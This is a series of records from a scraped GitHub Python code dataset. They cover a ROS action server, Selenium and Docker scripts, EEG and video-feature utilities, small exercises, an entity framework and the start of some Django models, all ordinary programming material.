rospy\n\nimport actionlib\n\nfrom package_robot.msg import DoCarWashAction,DoCarWashResult, DoCarWashFeedback\n\nclass DoActionServer:\n\n def __init__(self):\n self.server = actionlib.SimpleActionServer('do_car_wash', DoCarWashAction, self.execute, False)\n self.server.start()\n print(\"Running action server do_wash_car ...\")\n \n def execute(self, goal):\n\n feedback = DoCarWashFeedback()\n result = DoCarWashResult()\n rate = rospy.Rate(1)\n\n for x in range(0,goal.number_of_cars):\n result.total_cars_cleaned += 1\n feedback.percent_cars_complete = (result.total_cars_cleaned*100.0)/goal.number_of_cars\n self.server.publish_feedback(feedback) #Publicamos el feedback\n rate.sleep()\n\n self.server.set_succeeded(result) #Publicamos el resultado\n\n\nif __name__ == '__main__':\n rospy.init_node('node_action_server')\n server = DoActionServer() #Creamos una instancia de la Clase DoActionServer\n rospy.spin() #Mantiene corriendo el script hasta que se detiene la ejecución del script con Crtl+C","repo_name":"hanssel123/ROS","sub_path":"src/package_robot/src/node_action_server.py","file_name":"node_action_server.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"6925373346","text":"if __name__ == '__main__':\n m = open(r\"C:\\Users\\Dell\\PycharmProjects\\myproj\\day4\\test.txt\",\"w\",encoding='utf-8')\n # val = m.read() # 读取全部内容\n # val1 = m.readline() # 读一行\n # m = m.readlines() # 读取全部的一行\n # m1 = m.readable() # 判断是否刻度可读\n # print(val1)\n # print(m)\n # mlist = [\"高波\",\"男\",\"傻逼\"]\n # m = m.write(\"高波\")\n # m.writelines(mlist)\n # mint = m.tell()\n # n = m.seek(0,2)\n # print(n)\n \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"lun1345330620/mypj","sub_path":"day4/mypro08.py","file_name":"mypro08.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"26956875297","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on 8/12/2018\r\n\r\n@author: Samuel\r\n@Desc: Test the module selenium\r\n@dependence:\r\nchromedriver.exe (need to install chrome 68.0 on your server)\r\nChrome browser driver download.\r\nhttps://sites.google.com/a/chromium.org/chromedriver/downloads\r\n\r\n\r\n\"\"\"\r\n\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.wait import WebDriverWait\r\nimport time\r\n\r\nbrowser = webdriver.Chrome(executable_path=\"driver\\win10X64\\chromedriver.exe\")\r\ntry:\r\n browser.get(\"https://www.baidu.com\")\r\n input = browser.find_element_by_id(\"kw\")\r\n # use the chrome to finish the key word search.\r\n input.send_keys(\"Python\")\r\n input.send_keys(Keys.ENTER)\r\n wait = WebDriverWait(browser, 10)\r\n wait.until(EC.presence_of_element_located((By.ID, \"content_left\")))\r\n print(browser.current_url)\r\n print(browser.get_cookies())\r\n print(browser.page_source)\r\n time.sleep(10)\r\nfinally:\r\n browser.close()\r\n","repo_name":"Sammion/PythonStudy","sub_path":"source/Selenium/test61.py","file_name":"test61.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"40176059930","text":"import json\nimport os\nimport shutil\n\n\nclass settingsManager:\n\tdef __init__(self, form, cache, dataPath, modDirPath, versionId):\n\t\tself.modListDataFile = dataPath + 'modListData.json'\n\t\tself.dataPath = dataPath\n\t\tself.cache = cache\n\t\tself.local = False\n\t\tself.modDirPath = modDirPath\n\t\tself.cacheDirPath = self.dataPath + \"cache\\\\\"\n\t\tself.cache.setCachePath(self.cacheDirPath)\n\t\tself.cache.setSettings(self)\n\t\tself.imageDirPath = self.cacheDirPath + \"img\\\\\"\n\t\tself.settingsFile = self.dataPath + \"settings.json\"\n\t\tself.form = form\n\t\tif not os.path.isdir(self.dataPath):\n\t\t\tos.makedirs(self.dataPath)\n\t\tif not os.path.isdir(self.imageDirPath):\n\t\t\tos.makedirs(self.imageDirPath)\n\n\t\tbaseDict = {\n\t\t\t\t\"disableCache\": False,\n\t\t\t\t\"saveCache\": 30,\n\t\t\t\t\"cacheLimit\": 0,\n\t\t\t\t\"cacheLimitUnit\": \"MB\",\n\t\t\t\t\"localPics\": True,\n\t\t\t\t\"language\": \"en\",\n\t\t\t\t\"lastVersion\": versionId\n\t\t\t}\n\n\t\tif os.path.exists(self.settingsFile):\n\t\t\tself.data = json.load(open(self.settingsFile, \"r\"))\n\t\t\tself.data = baseDict | self.data\n\t\t\tjson.dump(self.data, open(self.settingsFile, 'w'))\n\t\telse:\n\t\t\tself.data = baseDict\n\t\t\tjson.dump(self.data, open(self.settingsFile, 'w'))\n\n\t\tif not os.path.isdir(self.cacheDirPath):\n\t\t\tos.makedirs(self.cacheDirPath)\n\t\tself.form.disableCache.setChecked(self.data[\"disableCache\"])\n\t\tself.form.localPics.setChecked(self.data[\"localPics\"])\n\t\tself.form.cacheDays.setValue(self.data[\"saveCache\"])\n\t\tself.form.cacheSizeLimit.setValue(self(\"cacheLimitRaw\"))\n\n\t\tif self(\"cacheLimitUnit\") in [\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\"]:\n\t\t\tself.form.cacheSizemultiplayer.setText(self(\"cacheLimitUnit\"))\n\t\telse:\n\t\t\tself.form.cacheSizemultiplayer.setText(\"MB\")\n\t\t\tself.apply()\n\n\t\tdef change_type():\n\t\t\tif self.form.cacheSizemultiplayer.text() == \"MB\":\n\t\t\t\tself.form.cacheSizemultiplayer.setText(\"GB\")\n\t\t\telse:\n\t\t\t\tself.form.cacheSizemultiplayer.setText(\"MB\")\n\t\tself.form.cacheSizemultiplayer.clicked.connect(change_type)\n\t\t\n\t\tif self(\"lastVersion\") < versionId:\n\t\t\tself.migrate(self(\"lastVersion\"), versionId)\n\n\tdef migrate(self, version, versionId):\n\t\tif version <= 3:\n\t\t\tif os.path.isdir(self.dataPath + \"img\\\\\"):\n\t\t\t\ttry:\n\t\t\t\t\tshutil.rmtree(self.dataPath + \"img\\\\\")\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\tself.apply(versionId)\n\n\tdef __call__(self, value):\n\t\treturn self.get(value)\n\n\tdef get(self, value):\n\t\tif value == \"cacheLimit\":\n\t\t\tvalues = [\"B\", \"KB\", \"MB\", \"GB\", \"TB\", \"PB\", \"EB\", \"ZB\", \"YB\"]\n\t\t\treturn (1024**values.index(self(\"cacheLimitUnit\")))*self(\"cacheLimitRaw\")\n\n\t\tif value == \"cacheLimitRaw\": value = \"cacheLimit\"\n\t\tif value in [\"disableCache\", \"saveCache\", \"cacheLimit\", \"cacheLimitUnit\", \"language\", \"localPics\", \"lastVersion\"]:\n\t\t\treturn self.data[value]\n\t\treturn getattr(self, value)\n\n\tdef apply(self, version=False):\n\t\tself.data[\"disableCache\"] = self.form.disableCache.isChecked()\n\t\tself.data[\"saveCache\"] = self.form.cacheDays.value()\n\t\tself.data[\"cacheLimit\"] = self.form.cacheSizeLimit.value()\n\t\tself.data[\"cacheLimitUnit\"] = self.form.cacheSizemultiplayer.text()\n\t\tself.data[\"localPics\"] = self.form.localPics.isChecked()\n\t\tself.data[\"lastVersion\"] = version or self.version[1]\n\t\tjson.dump(self.data, open(self.settingsFile, 'w'))\n\n","repo_name":"VsModManager/App","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3145,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"34470766216","text":"from jieba import posseg\nimport math\n\n\ndef cos_similarity(str1, str2):\n cut_str1 = [w for w, t in posseg.lcut(str1) if 'n' in t or 'v' in t]\n cut_str2 = [w for w, t in posseg.lcut(str2) if 'n' in t or 'v' in t]\n\n all_words = set(cut_str1 + cut_str2)\n\n freq_str1 = [cut_str1.count(x) for x in all_words]\n freq_str2 = [cut_str2.count(x) for x in all_words]\n\n sum_all = sum(map(lambda z, y: z * y, freq_str1, freq_str2))\n sqrt_str1 = math.sqrt(sum(x ** 2 for x in freq_str1))\n sqrt_str2 = math.sqrt(sum(x ** 2 for x in freq_str2))\n return sum_all / (sqrt_str1 * sqrt_str2)\n","repo_name":"W1ndness/CARC","sub_path":"ainfox/matching/similarity.py","file_name":"similarity.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"39033530678","text":"import os\nimport sys\n\nos.system('cls' if os.name == 'nt' else 'clear')\nprint(\"Witaj w grze Ruwnania\\n\")\nprint(\"Napisz dobrą odpowiedź a wygrasz!\\n\")\ninput(\"Naciśnij enter aby zacząć\")\nos.system('cls' if os.name == 'nt' else 'clear')\nprint(\"Lvl 1\")\nlvl1 = input(\"1 + 1 = ? \\n: \")\nif lvl1 == \"2\":\n print(\"\\nDobrze\\n\")\n print(\"Lvl 2\\n\")\n print(\"37 x 7 = ? \\n\")\n lvl2 = input(\": \")\n if lvl2 == \"259\":\n print(\"Gratulacje\")\n sys.exit()\n else:\n print(\"Przegrałeś\")\n sys.exit()\nelse:\n print(\"Przegrałeś\")\n sys.exit()","repo_name":"Kmarz23/Gry_do_PyCrafter-opcjonalne","sub_path":"Ruwnania.py","file_name":"Ruwnania.py","file_ext":"py","file_size_in_byte":569,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"6719513024","text":"#!/usr/bin/env python\n\nimport click\n\n\ndef get_nodes(ncol_fp):\n nodes = set()\n for line in ncol_fp:\n line = line.strip()\n n1, n2, _ = line.split()\n nodes.add(n1)\n nodes.add(n2)\n return nodes\n\n\ndef edges_gen(ncol_fp):\n edges = set()\n num_edges, num_dups = 0, 0\n for line in ncol_fp:\n num_edges += 1\n line = line.strip()\n n1, n2, w = line.split()\n n1, n2 = min(n1, n2), max(n1, n2)\n if (n1, n2) in edges:\n # This edge has already been seen.\n num_dups += 1\n continue\n edges.add((n1, n2))\n w = int(w)\n yield n1, n2, w\n print(\"read {} edges ({} dups)\".format(num_edges, num_dups))\n\n\n@click.command()\n@click.argument('ncol-file', type=click.Path())\n@click.argument('gdf-file', type=click.Path())\ndef go(ncol_file, gdf_file):\n \"\"\"\n Convert a group graph file from NCOL format to GDF format.\n \"\"\"\n with click.open_file(ncol_file) as ncol_fp:\n nodes = get_nodes(ncol_fp)\n print(\"read {} nodes\".format(len(nodes)))\n with click.open_file(ncol_file) as ncol_fp:\n with click.open_file(gdf_file, \"w\") as gdf_fp:\n print(\"nodedef>name VARCHAR\", file=gdf_fp)\n num_nodes = 0\n for n in sorted(nodes):\n num_nodes += 1\n print(\"{}\".format(n), file=gdf_fp)\n print(\"wrote {} nodes\".format(num_nodes))\n print(\"edgedef>node1 VARCHAR,node2 VARCHAR,weight INT\", file=gdf_fp)\n num_edges = 0\n for n1, n2, w in edges_gen(ncol_fp):\n num_edges += 1\n print(\"{},{},{}\".format(n1, n2, w), file=gdf_fp)\n print(\"wrote {} edges\".format(num_edges))\n\nif __name__ == '__main__':\n go()\n","repo_name":"nitecascade/solid-funicular","sub_path":"bin/ncol2gdf.py","file_name":"ncol2gdf.py","file_ext":"py","file_size_in_byte":1763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"40804465279","text":"import time\nimport pytest\n\nfrom pyacq.devices.eeg_emotiv import Emotiv, HAVE_PYCRYPTO\nfrom pyacq.viewers.qoscilloscope import QOscilloscope\nfrom pyqtgraph.Qt import QtCore, QtGui\nimport pyqtgraph as pg\n\nfrom collections import OrderedDict\nimport os\n\nimport platform\nWINDOWS = (platform.system() == \"Windows\")\nif WINDOWS:\n try:\n import pywinusb.hid as hid\n HAVE_PYWINUSB = True\n except ImportError:\n HAVE_PYWINUSB = False\n\n# Manual scan of devices\ndef get_available_devices():\n devices = []\n if WINDOWS:\n try:\n for device in hid.find_all_hid_devices():\n if device.product_name == 'Emotiv RAW DATA':\n devices.append(device.device_path)\n finally:\n pass\n else:\n serials = {}\n for name in os.listdir(\"/sys/class/hidraw\"):\n realInputPath = os.path.realpath(\"/sys/class/hidraw/\" + name)\n path = '/'.join(realInputPath.split('/')[:-4])\n try:\n if os.path.isfile(path + \"/manufacturer\"):\n with open(path + \"/manufacturer\", 'r') as f:\n manufacturer = f.readline()\n if \"emotiv\" in manufacturer.lower():\n with open(path + \"/serial\", 'r') as f:\n serial = f.readline().strip()\n if serial not in serials:\n serials[serial] = []\n serials[serial].append(name)\n except IOError as e:\n print(\"Couldn't open file: %s\" % e)\n\n for serial, names in serials.items():\n device_path = '/dev/'+names[1]\n devices.append(device_path)\n\n return devices\n\n@pytest.mark.skipif(WINDOWS and not HAVE_PYWINUSB, reason='no have pywinusb')\n@pytest.mark.skipif(not HAVE_PYCRYPTO, reason='no have pycrypto')\ndef test_eeg_emotiv_direct():\n # Look for emotiv usb device\n all_devices = get_available_devices()\n device_handle = all_devices[0]\n\n # in main App\n app = pg.mkQApp()\n dev = Emotiv(name='Emotiv0')\n dev.configure(device_handle=device_handle)\n dev.outputs['signals'].configure(\n protocol='tcp', interface='127.0.0.1', transfermode='plaindata',)\n dev.outputs['impedances'].configure(\n protocol='tcp', interface='127.0.0.1', transfermode='plaindata',)\n dev.outputs['gyro'].configure(\n protocol='tcp', interface='127.0.0.1', transfermode='plaindata',)\n dev.initialize()\n viewer_sigs = QOscilloscope()\n viewer_sigs.configure(with_user_dialog=True)\n viewer_sigs.input.connect(dev.outputs['signals'])\n viewer_sigs.initialize()\n viewer_sigs.show()\n\n viewer_imp = QOscilloscope()\n viewer_imp.configure(with_user_dialog=True)\n viewer_imp.input.connect(dev.outputs['impedances'])\n viewer_imp.initialize()\n viewer_imp.show()\n\n viewer_gyro = QOscilloscope()\n viewer_gyro.configure(with_user_dialog=True)\n viewer_gyro.input.connect(dev.outputs['gyro'])\n viewer_gyro.initialize()\n viewer_gyro.show()\n\n dev.start()\n viewer_sigs.start()\n viewer_imp.start()\n viewer_gyro.start()\n\n def terminate():\n viewer_sigs.stop()\n viewer_imp.stop()\n viewer_gyro.stop()\n dev.stop()\n viewer_sigs.close()\n viewer_imp.close()\n viewer_gyro.close()\n dev.close()\n app.quit()\n\n # start for a while\n timer = QtCore.QTimer(singleShot=True, interval=3000)\n timer.timeout.connect(terminate)\n #~ timer.start()\n\n app.exec_()\n\n\nif __name__ == '__main__':\n\n test_eeg_emotiv_direct()\n","repo_name":"pyacq/pyacq","sub_path":"pyacq/devices/tests/test_eeg_emotiv.py","file_name":"test_eeg_emotiv.py","file_ext":"py","file_size_in_byte":3615,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"28"} +{"seq_id":"11695566407","text":"def anagrama(palavra1, palavra2):\n minusculo1 = palavra1.lower()\n sem_espacos1 = ''.join([x for x in minusculo1 if x != ' '])\n minusculo2 = palavra2.lower()\n sem_espacos2 = ''.join([x for x in minusculo2 if x != ' '])\n c1 = set(sem_espacos1)\n c2 = set(sem_espacos2)\n if len(c1) == (len(c2)):\n print(\"É um anagrama\")\n else:\n print(\"Não é um anagrama\")\n\ndef main():\n palavra1 = str(input(\"escreva a primeira palavra: \"))\n palavra2 = str(input(\"Insira outra palavra: \"))\n anagrama(palavra1, palavra2)\n\nif __name__ == \"__main__\":\n main()","repo_name":"MatheusPieta/Ciencias_da_Computacao","sub_path":"Algoritmos/AER-Alg-26/MPDC-AER-Alg-26-6.py","file_name":"MPDC-AER-Alg-26-6.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"18963327704","text":"from PyQt5.QtWidgets import QWidget, QLabel, QLineEdit,QPushButton, \\\n QVBoxLayout,QHBoxLayout\nfrom tempdlg_subsystem.database.QuestionTableModule import QuestionTable\nfrom PyQt5.QtGui import QStandardItem\n#Классы для добавления вопросов и ответов\nclass AddQuestionDlg(QWidget):\n def __init__(self, tableView, model, idC, idRecord=0, indModel=0):\n super().__init__()\n self.IDRecord = idRecord\n self.INDModel = indModel\n self.label = QLabel()\n self.le = QLineEdit()\n self.layH = QHBoxLayout()\n self.layH.addWidget(self.label)\n self.layH.addWidget(self.le)\n self.layV = QVBoxLayout()\n self.layV.addLayout(self.layH)\n self.AddOtherWidgets()\n self.setLayout(self.layV)\n self.tv = tableView\n self.Model = model\n self.IDC = idC\n\n self.pb.clicked.connect(self.click)\n self.SetHeaders()\n\n def AddOtherWidgets(self, ):\n self.pb = QPushButton('Добавить')\n self.layV.addWidget(self.pb)\n if self.IDRecord:\n self.le.setText(QuestionTable().GetQuestionFromID(self.IDRecord))\n\n\n def click(self):\n tab = QuestionTable()\n if not self.IDRecord:\n id=tab.InsertRecord(self.le.text(), self.IDC)\n i = self.Model.rowCount()\n\n self.Model.setItem(i,1,QStandardItem(self.le.text()) )\n self.Model.setItem(i,0,QStandardItem(str(id)))\n self.Model.setVerticalHeaderLabels([' '] * (i + 1))\n else:\n tab.UpdateRecordFromIDAndText(self.IDRecord, self.le.text())\n self.Model.setItem(self.INDModel.row(), 1,\n QStandardItem(self.le.text()))\n\n self.tv.setModel(self.Model)\n self.close()\n\n def keyPressEvent(self, event):\n key = event.key()\n if key == 16777220: # код клавиши Enter\n self.click()\n\n def SetHeaders(self):\n self.label.setText('Введите вопрос :')\n self.setWindowTitle('Ввод вопроса')","repo_name":"Mukudori/IntellectualDialogueSystem","sub_path":"tempdlg_subsystem/AddQuestionModule.py","file_name":"AddQuestionModule.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"19206716381","text":"import docker\n\ndef checkDockerContainerStatus( container):\n client = docker.from_env()\n #cli = docker.APIClient()\n if client.containers.list(filters={'name': container}):\n response = client.containers.list(filters={'name': container})\n return str(response[0].id)[:12]\n else:\n return None\n\nrunning_id = checkDockerContainerStatus('app-container')\n\nif running_id is not None:\n print(f\"Found! {running_id}\")\nelse:\n print(\"Container app-container is not found\")","repo_name":"ozlevka/environments-","sub_path":"python/python-docker/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"32637770623","text":"from tensorflow.keras import Model\nfrom tensorflow.keras.applications.vgg16 import preprocess_input\nfrom tensorflow.keras.preprocessing.image import img_to_array\nfrom tensorflow.keras.applications.vgg16 import VGG16\nimport numpy as np\nfrom os import listdir\nfrom pickle import dump\nimport cv2\nimport os\nimport skvideo\nskvideo.setFFmpegPath('D:\\\\data\\\\ffmpeg-20200831-4a11a6f-win64-shared\\\\bin')\nimport skvideo.io\nfrom tqdm import tqdm\n\n\ndef extract_frames_from_video(filename, num_of_frames):\n videodata = skvideo.io.vread(filename)\n total_frames = videodata.shape[0]\n sequence = np.linspace(\n 0, total_frames, num_of_frames, False, dtype=np.int32)\n videodata = videodata[sequence, :, :, :]\n return videodata\n\n\ndef create_model():\n model = VGG16()\n model.layers.pop()\n model = Model(inputs=model.input, outputs=model.layers[-2].output)\n print(model.summary)\n return model\n\n\ndef extract_features_from_video(video, name, model):\n features = []\n i = 0\n for frame in video:\n image = img_to_array(frame)\n image = cv2.resize(image, dsize=(224, 224),\n interpolation=cv2.INTER_CUBIC)\n image = image.reshape(\n (1, image.shape[0], image.shape[1], image.shape[2]))\n image = preprocess_input(image)\n feature = model.predict(image, verbose=0)\n features.append(feature.ravel())\n # print('>%s %s' % (name, i+1))\n i = i+1\n features = np.array(features)\n return features\n\n\ndir_path = os.getcwd()\nvideo_path = os.path.join(dir_path, 'dataset', 'YoutubeClips-small-train')\nvideo_list = os.listdir(video_path)\nfeature_path = os.path.join(dir_path, 'dataset', 'features-small-train')\nif not os.path.exists(feature_path):\n os.mkdir(feature_path)\nprint(os.path.exists(feature_path))\n\nmodel = create_model()\nfor i in tqdm(range(len(video_list)), 'Processing videos'):\n name = video_list[i]\n data = extract_frames_from_video(os.path.join(video_path, name), 20)\n features = extract_features_from_video(data, name, model)\n dump(features, open(os.path.join(\n feature_path, name.split('.')[0]+'.pkl'), 'wb'))\n","repo_name":"ArihantRawat/Video_Captioning","sub_path":"utils/video_utils.py","file_name":"video_utils.py","file_ext":"py","file_size_in_byte":2147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"19986692558","text":"# coding: utf-8\n'''\nModel类\n'''\nimport logging\nlogger = logging.getLogger(\"entity\")\n\nimport time\nimport json\nimport traceback\nfrom copy import copy\nfrom datetime import date as datedate, timedelta\nfrom collections import OrderedDict\n\nfrom yy.utils import OrderedSet\nfrom .attributes import define\nimport fields\n\nclass EntityNotFoundError(Exception):\n pass\n\nclass CanNotCreateError(Exception):\n pass\n\nclass CanNotDeleteError(Exception):\n pass\n\nclass EntityExistsException(Exception):\n def __init__(self, key):\n self.key = key\n def __unicode__(self):\n return self.key\n\ndef recursive_var_set_save(fields, f):\n '递归取得公式属性依赖的所有持久化属性'\n if f.save:\n return OrderedSet([f])\n elif hasattr(f, 'var_set'):\n r = OrderedSet()\n for name in f.var_set:\n r |= recursive_var_set_save(fields, fields[name])\n return r\n else:\n return OrderedSet()\n\ndef recursive_var_set(fields, f):\n '递归取得公式属性依赖的所有普通属性'\n if hasattr(f, 'var_set'):\n r = OrderedSet()\n for name in f.var_set:\n r |= recursive_var_set(fields, fields[name])\n return r\n else:\n return OrderedSet([f])\n\ndef cycle(self, fields=None, now=None):\n if not now:\n now = int(time.time())\n tomorrow = int(time.mktime((datedate.fromtimestamp(now) + timedelta(days=1)).timetuple()))\n if not fields:\n fields = self.fields_list\n else:\n fields_ = fields\n fields = []\n for f in fields_:\n fields.append(self.fields[f])\n\n for field in fields:\n if not field.cycle:\n continue\n\n updatetime = getattr(self, field.timestamp, 0)#下次更新的时间\n if field.resume:\n if not updatetime:\n setattr(self, field.timestamp, now + field.resume)\n elif updatetime <= now:#下次更新的时间已经到了,或者已经过去了\n interval = now - updatetime#超过的时间\n multi = interval // field.resume + 1 #超过的周期数 + 原本的一个周期\n rest = interval % field.resume #未达一个周期的剩余的时间\n max = getattr(self, field.max)\n old = getattr(self, field.name)\n if old < max:\n new = min(old + multi * 1, max)\n setattr(self, field.name, new)\n setattr(self, field.timestamp, now + field.resume - rest)#设置下次更新时间\n else:\n if updatetime:\n if datedate.fromtimestamp(updatetime) <= datedate.fromtimestamp(now):\n if callable(field.default):\n default = field.default()\n else:\n default = field.default\n setattr(self, field.name, default)\n setattr(self, field.timestamp, tomorrow)\n\nclass EntityBase(type):\n store_tags = {}\n def __new__(cls, name, bases, attrs):\n super_new = super(EntityBase, cls).__new__\n attrs = attrs.copy()\n\n #assert attrs['store_tag'] not in EntityBase.store_tags\n\n parents = [b for b in bases if isinstance(b, EntityBase)]\n if not parents:\n return super_new(cls, name, bases, attrs)\n\n new_cls = super_new(cls, name, bases, attrs)\n EntityBase.store_tags[attrs['store_tag']] = new_cls\n\n fields_list = []\n for p in parents:\n fields_list += p.fields_list\n\n new_list = []\n for fname, f in attrs.items():\n if isinstance(f, fields.Field):\n f.set_name(fname)\n new_list.append(f)\n del attrs[fname]\n\n new_list.sort(key=lambda o:o.creation_counter)\n fields_list += new_list\n\n fields_map = dict((f.name, f) for f in fields_list)\n fields_ids_map = dict((f.id, f) for f in fields_list)\n\n for f in fields_list:\n f.init_class(new_cls)\n\n setattr(new_cls, 'fields_list', fields_list)\n setattr(new_cls, 'fields', fields_map)\n setattr(new_cls, 'fields_ids_map', fields_ids_map)\n\n return new_cls\n\nclass Entity(object):\n __metaclass__ = EntityBase\n fields_list = []\n fields_map = {}\n fields_ids_map = {}\n\n def __init__(self, *args, **kwargs):\n self._initialized = False\n\n self._dirty_fields = set()\n self._sync_dirty_fields = set()\n #确保所有公式属性都被计算一次\n self._form_dirty_fields = set([f.name for f in self.fields_list if f.formula])\n\n for i, f in enumerate(self.fields_list):\n\n if f.private_name:\n setattr(self, f.private_name, None)\n\n if i < len(args):\n value = args[i]\n elif f.name in kwargs:\n value = kwargs[f.name]\n else:\n value = f.default\n if callable(value):\n value = value()\n if f.type in ('json', 'sequence', 'object'):\n f.init_instance(self, copy(value))\n else:\n f.init_instance(self, value)\n\n self._initialized = True\n\n def __setattr__(self, name, value):\n if name[0]!='_' and self._initialized:\n # check name\n if name not in self.__class__.fields:\n raise Exception('field %s is not exists' % name)\n \n return super(Entity, self).__setattr__(name, value)\n\n def __unicode__(self):\n return ','.join('%s=%s' % (f.name, getattr(self, f.private_name)) for f in self.fields_list if f.private_name)\n\n def __str__(self):\n return unicode(self).encode('utf-8')\n\n def has_dirty(self):\n return bool(self._dirty_fields)\n\n def set_dirty(self, name):\n self._dirty_fields.add(name)\n\n def get_dirty(self):\n return self._dirty_fields\n\n def pop_dirty(self):\n fs = self._dirty_fields\n self._dirty_fields = set()\n return fs\n\n def is_dirty(self, name):\n return name in self._dirty_fields\n\n def set_sync_dirty(self, name):\n self._sync_dirty_fields.add(name)\n\n def get_sync_dirty(self):\n return self._sync_dirty_fields\n\n def is_sync_dirty(self, name):\n return name in self._sync_dirty_fields\n\n def remove_sync_dirty(self,fields):\n s = self._sync_dirty_fields\n d = s - fields\n self._sync_dirty_fields = d\n return s & fields\n\n def pop_sync_dirty(self,syncSence = True):\n s = set()\n fs = self._sync_dirty_fields - s\n self._sync_dirty_fields = s\n return fs\n\n def set_form_dirty(self, name):\n self._form_dirty_fields.add(name)\n\n def is_form_dirty(self, name):\n return name in self._form_dirty_fields\n\n def pop_form_dirty(self, name):\n try:\n self._form_dirty_fields.remove(name)\n except KeyError:\n pass\n \n def validate(self):\n excs = []\n for f in self.fields_list:\n if f.private_name:\n try:\n f.validate(getattr(self, f.private_name))\n except fields.ValidationError as e:\n excs.append(e)\n\n if excs:\n raise fields.ValidationError('\\n'.join(map(str, excs)))\n\n cycle = cycle\n\n def pop_dirty_values(self):\n return [(name, getattr(self, name)) for name in self.pop_dirty()]\n\n @classmethod\n def getAttributeByID(cls, id):\n return cls.fields_ids_map[id]\n\n @classmethod\n def getAttributeIDByName(cls, name):\n return cls.fields[name].id\n\ndef init_fields(fields):\n fieldsmap = OrderedDict()\n unique_id_set = set()\n for field in fields:\n if field.cycle:\n if isinstance(field.timestamp, int):\n #自动生成时间属性\n ts_id = isinstance(field.timestamp, int) and field.timestamp or field.id+1\n field_ts = define(ts_id, '%s_ts'%field.name, 'integer', '', save=True)\n fieldsmap[field_ts.name] = field_ts \n field.timestamp = field_ts.name\n assert field_ts.id not in unique_id_set, '属性id 0x0%x `%s` 已经被定义过了(cycle属性占两个ID)。'%(field_ts.id, field_ts.name)\n unique_id_set.add(field_ts.id)\n\n fieldsmap[field.name] = field\n assert field.id not in unique_id_set, '属性id 0x0%x `%s` 已经被定义过了(cycle属性占两个ID)。'%(field.id, field.name)\n unique_id_set.add(field.id)\n\n #检查时间属性和属性最大值\n for name, field in fieldsmap.items():\n if field.cycle:\n assert field.timestamp in fieldsmap, 'field `{}` 的时间属性 `{}` 不存在。'.format(field.name, field.timestamp)\n if isinstance(field.max, basestring):\n assert field.max in fieldsmap, 'field `{}` 的最大值 `{}` 不存在。'.format(field.name, field.max)\n\n # 处理公式属性关联\n for f in fieldsmap.values():\n f.effect_set = OrderedSet()\n f.depend_set = OrderedSet()\n\n for f in fieldsmap.values():\n f.depend_set_save = recursive_var_set_save(fieldsmap, f)\n try:\n f.depend_set_save.remove(f)\n except KeyError:\n pass\n f.depend_set = recursive_var_set(fieldsmap, f)\n try:\n f.depend_set.remove(f)\n except KeyError:\n pass\n if f.cache:\n for f1 in f.depend_set:\n f1.effect_set.add(f)\n\n for name, field in fieldsmap.items():\n field.set_name(name)\n\n return fieldsmap\n\ndef create_class(classname, fieldsmap, store_tag):\n return EntityBase(classname, (Entity, ), dict(fieldsmap, store_tag=store_tag))\n\ndef gen_cython(fields_list, classname, import_pure, store_tag, extra_imports=''):\n import os\n from mako.template import Template\n path = os.path.join(os.path.dirname(__file__), 'entity_tpl.mako')\n return Template(filename=path, module_directory='/tmp', output_encoding='utf-8').render(**locals())\n\nif __name__ == '__main__':\n import doctest\n doctest.testmod()\n","repo_name":"xiaouC/test3.10","sub_path":"server/yylib/yy/entity/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":10162,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"28"} +{"seq_id":"18179870748","text":"from __future__ import annotations\n\nfrom django.utils import timezone\nfrom django.utils.safestring import mark_safe\nfrom django.db import models\n\nfrom image_labelling_tool import models as lt_models\n\nfrom .choices import PREFIXO_CHOICES, PERIODO_CHOICES\n\nimport json\n\nfrom utils.dataframe import *\n\nfrom typing import TYPE_CHECKING\n\nif TYPE_CHECKING:\n from django.db.models import Manager\n\n\nclass Labels(lt_models.Labels):\n def save(self, *args, **kwargs):\n poly = json.loads(self.labels_json_str)\n poly = poly[0] if poly else {}\n\n if poly:\n self.fotoordenha.set_dewarped(poly)\n self.fotoordenha.set_bbox()\n\n return super().save(*args, **kwargs)\n\n class Meta:\n proxy = True\n verbose_name = \"Label Set\"\n verbose_name_plural = \"Label Sets\"\n\n\nclass Fazenda(models.Model):\n nome = models.CharField(max_length=255, null=False, blank=False)\n cidade = models.CharField(max_length=255, null=False, blank=False)\n\n\nclass Vaca(models.Model):\n numero = 